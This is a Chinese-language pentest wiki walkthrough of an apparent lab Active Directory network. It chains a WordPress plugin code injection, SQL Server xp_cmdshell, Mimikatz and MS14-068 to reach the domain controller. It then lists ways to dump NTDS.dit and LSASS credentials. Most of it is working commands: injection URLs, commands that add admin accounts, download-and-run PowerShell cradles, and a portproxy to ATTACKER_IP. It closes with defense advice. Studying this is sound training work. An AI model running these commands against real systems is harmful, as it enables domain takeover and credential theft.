Pentest Wiki Part4 后渗透(二)
字数 1651 2025-08-29 08:32:00

Windows Active Directory 渗透测试指南

1. 目标描述

目标是从 Windows 域控制器(DC)的 C:\file.sys 文件中读取 Flag。目标网络包含以下主机:

  • http://10.1.222.203 (起点)
  • 10.1.222.200
  • 10.1.222.201
  • 10.1.222.202 (Windows DC)

2. 攻击路径

攻击路径如下:
10.1.222.203 → 10.1.222.200 → 10.1.222.201 → 10.1.222.202

3. 详细攻击步骤

3.1 攻击 10.1.222.203 (WordPress)

  1. 识别漏洞

    • 使用 WPScan 扫描 WordPress 站点
    • 发现 CM Download Manager 插件存在代码注入漏洞 (CVE-2014-8877)
  2. 利用代码注入漏洞

    http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(scandir('.'))."
    http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(file_get_contents('wp-config.php'))."
    
  3. 获取数据库凭据

    • 从 wp-config.php 中提取:
      • DB_HOST: 10.1.222.200
      • DB_USER: root
      • DB_PASSWORD: Xd1moYqFr

3.2 攻击 10.1.222.200 (SQL Server)

  1. 端口扫描

    • 发现 1433 (SQL Server) 端口开放
  2. 连接 SQL Server

    • 使用 sa/Xd1moYqFr 成功登录
  3. 启用 xp_cmdshell

    EXEC sp_configure 'show advanced options',1
    RECONFIGURE
    EXEC sp_configure 'xp_cmdshell',1
    RECONFIGURE
    
  4. 执行系统命令

    EXEC xp_cmdshell 'whoami'  # 确认权限为 NT AUTHORITY\SYSTEM
    EXEC xp_cmdshell 'wmic useraccount get name,sid'  # 查看用户
    EXEC xp_cmdshell 'net user hacker Password123 /add'  # 添加用户
    EXEC xp_cmdshell 'net localgroup administrators hacker /add'  # 提升为管理员
    
  5. 使用 Mimikatz 提取凭据

    privilege::debug
    sekurlsa::logonpasswords
    
    • 获取管理员密码: 6GbA6Crdw

3.3 攻击 10.1.222.201

  1. 使用获取的凭据登录

    • 用户名: Administrator
    • 密码: 6GbA6Crdw
  2. 发现 MS14-068 漏洞利用条件

    • 域: PENTEST.COM
    • 用户: master
    • SID: S-1-5-21-30580861-1793299886-3410204933-1008
  3. 使用 PyKEK 利用 MS14-068

    python ms14-068.py -u master@PENTEST.COM -s S-1-5-21-30580861-1793299886-3410204933-1008 -d DC.PENTEST.COM
    
    • 输入密码后生成 TGT 票据
  4. 导入票据

    mimikatz # kerberos::ptc TGT_master@PENTEST.COM.ccache
    
  5. 验证域管理员权限

    net user /domain
    net group "DOMAIN ADMINS" /domain
    

3.4 攻击 10.1.222.202 (Windows DC)

  1. 访问域控制器

    net use \\DC.PENTEST.COM\ipc$
    dir \\DC.PENTEST.COM\c$
    
  2. 读取 Flag 文件

    type k:\file.sys
    
    • 获取 Flag: 4b329655c2275d7c956083dc899b1c89
  3. 添加域管理员

    net user demo pasPAS1234~ /add /domain
    net group "DOMAIN ADMINS" demo /add /domain
    

4. 高级技术详解

4.1 从域控制器提取凭据的方法

方法1:SYSVOL 和组策略首选项(GPP)中的密码

  1. 搜索包含密码的 XML 文件:

    \\SYSVOL<DOMAIN>\Policies\
    

    查找 groups.xml, scheduledtasks.xml, Services.xml 等文件

  2. 解密 cpassword 值:

    • 使用 gpp_password_decrypt.py 或 PowerShell:
    IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1")
    Get-GPPPassword
    

方法2:使用 Mimikatz 提取 LSASS 内存

  1. 直接提取:

    IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
    Invoke-Mimikatz
    
  2. 从内存转储提取:

    • 使用任务管理器转储 LSASS 进程内存
    • 使用 Mimikatz 分析:
    sekurlsa::minidump C:\path\to\lsass.DMP
    sekurlsa::logonpasswords
    

方法3:使用 NTDSUtil 提取 NTDS.dit

  1. 创建 IFM 集:

    ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
    
  2. 提取哈希:

    • 使用 secretsdump.py:
    secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
    

方法4:使用 VSS 卷影副本

  1. 创建卷影副本:

    vssadmin Create Shadow /for=C:
    
  2. 复制文件:

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
    
  3. 删除卷影副本:

    vssadmin Delete Shadows /For=C:
    

方法5:使用 NinjaCopy

Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName DC -localDestination "C:\temp\NTDS.dit"

5. 常用 Windows AD 命令参考

网络和域信息

net view /domain
net view /domain:DOMAINNAME
net time /domain
net config

用户和组管理

net user /domain
net localgroup administrators
net group /domain
net group "Domain Admins" /domain
wmic useraccount list full

系统信息

systeminfo
wmic qfe get hotfixid
wmic bios
ipconfig /all
netstat -ano
tasklist /v

防火墙和网络

netsh firewall show config
netsh int portproxy v4tov4 listenport=80 connecthost=ATTACKER_IP connectport=80
route print
arp -a

其他有用命令

FOR /F %f in ('dir /b /s C:\') do find /I "password" %f
gpresult /Z
bitsadmin /create backdoor

6. 防御建议

  1. 及时修补 MS14-068 等已知漏洞
  2. 禁用或限制 xp_cmdshell 等危险 SQL 功能
  3. 监控异常账户创建和权限提升
  4. 保护 SYSVOL 共享,删除包含密码的 GPP 文件
  5. 限制域管理员账户的使用范围
  6. 启用 LSASS 保护机制
  7. 监控 NTDS.dit 文件的异常访问
  8. 实施严格的密码策略和定期轮换

通过以上步骤和技术,攻击者可以逐步提升权限,最终获取域控制器的完全控制权。防御方应全面了解这些攻击技术,才能有效保护 Active Directory 环境的安全。

Windows Active Directory 渗透测试指南 1. 目标描述 目标是从 Windows 域控制器(DC)的 C:\file.sys 文件中读取 Flag。目标网络包含以下主机: http://10.1.222.203 (起点) 10.1.222.200 10.1.222.201 10.1.222.202 (Windows DC) 2. 攻击路径 攻击路径如下: 10.1.222.203 → 10.1.222.200 → 10.1.222.201 → 10.1.222.202 3. 详细攻击步骤 3.1 攻击 10.1.222.203 (WordPress) 识别漏洞 : 使用 WPScan 扫描 WordPress 站点 发现 CM Download Manager 插件存在代码注入漏洞 (CVE-2014-8877) 利用代码注入漏洞 : 获取数据库凭据 : 从 wp-config.php 中提取: DB_ HOST: 10.1.222.200 DB_ USER: root DB_ PASSWORD: Xd1moYqFr 3.2 攻击 10.1.222.200 (SQL Server) 端口扫描 : 发现 1433 (SQL Server) 端口开放 连接 SQL Server : 使用 sa/Xd1moYqFr 成功登录 启用 xp_ cmdshell : 执行系统命令 : 使用 Mimikatz 提取凭据 : 获取管理员密码: 6GbA6Crdw 3.3 攻击 10.1.222.201 使用获取的凭据登录 : 用户名: Administrator 密码: 6GbA6Crdw 发现 MS14-068 漏洞利用条件 : 域: PENTEST.COM 用户: master SID: S-1-5-21-30580861-1793299886-3410204933-1008 使用 PyKEK 利用 MS14-068 : 输入密码后生成 TGT 票据 导入票据 : 验证域管理员权限 : 3.4 攻击 10.1.222.202 (Windows DC) 访问域控制器 : 读取 Flag 文件 : 获取 Flag: 4b329655c2275d7c956083dc899b1c89 添加域管理员 : 4. 高级技术详解 4.1 从域控制器提取凭据的方法 方法1:SYSVOL 和组策略首选项(GPP)中的密码 搜索包含密码的 XML 文件: 查找 groups.xml, scheduledtasks.xml, Services.xml 等文件 解密 cpassword 值: 使用 gpp_ password_ decrypt.py 或 PowerShell: 方法2:使用 Mimikatz 提取 LSASS 内存 直接提取: 从内存转储提取: 使用任务管理器转储 LSASS 进程内存 使用 Mimikatz 分析: 方法3:使用 NTDSUtil 提取 NTDS.dit 创建 IFM 集: 提取哈希: 使用 secretsdump.py: 方法4:使用 VSS 卷影副本 创建卷影副本: 复制文件: 删除卷影副本: 方法5:使用 NinjaCopy 5. 常用 Windows AD 命令参考 网络和域信息 用户和组管理 系统信息 防火墙和网络 其他有用命令 6. 防御建议 及时修补 MS14-068 等已知漏洞 禁用或限制 xp_ cmdshell 等危险 SQL 功能 监控异常账户创建和权限提升 保护 SYSVOL 共享,删除包含密码的 GPP 文件 限制域管理员账户的使用范围 启用 LSASS 保护机制 监控 NTDS.dit 文件的异常访问 实施严格的密码策略和定期轮换 通过以上步骤和技术,攻击者可以逐步提升权限,最终获取域控制器的完全控制权。防御方应全面了解这些攻击技术,才能有效保护 Active Directory 环境的安全。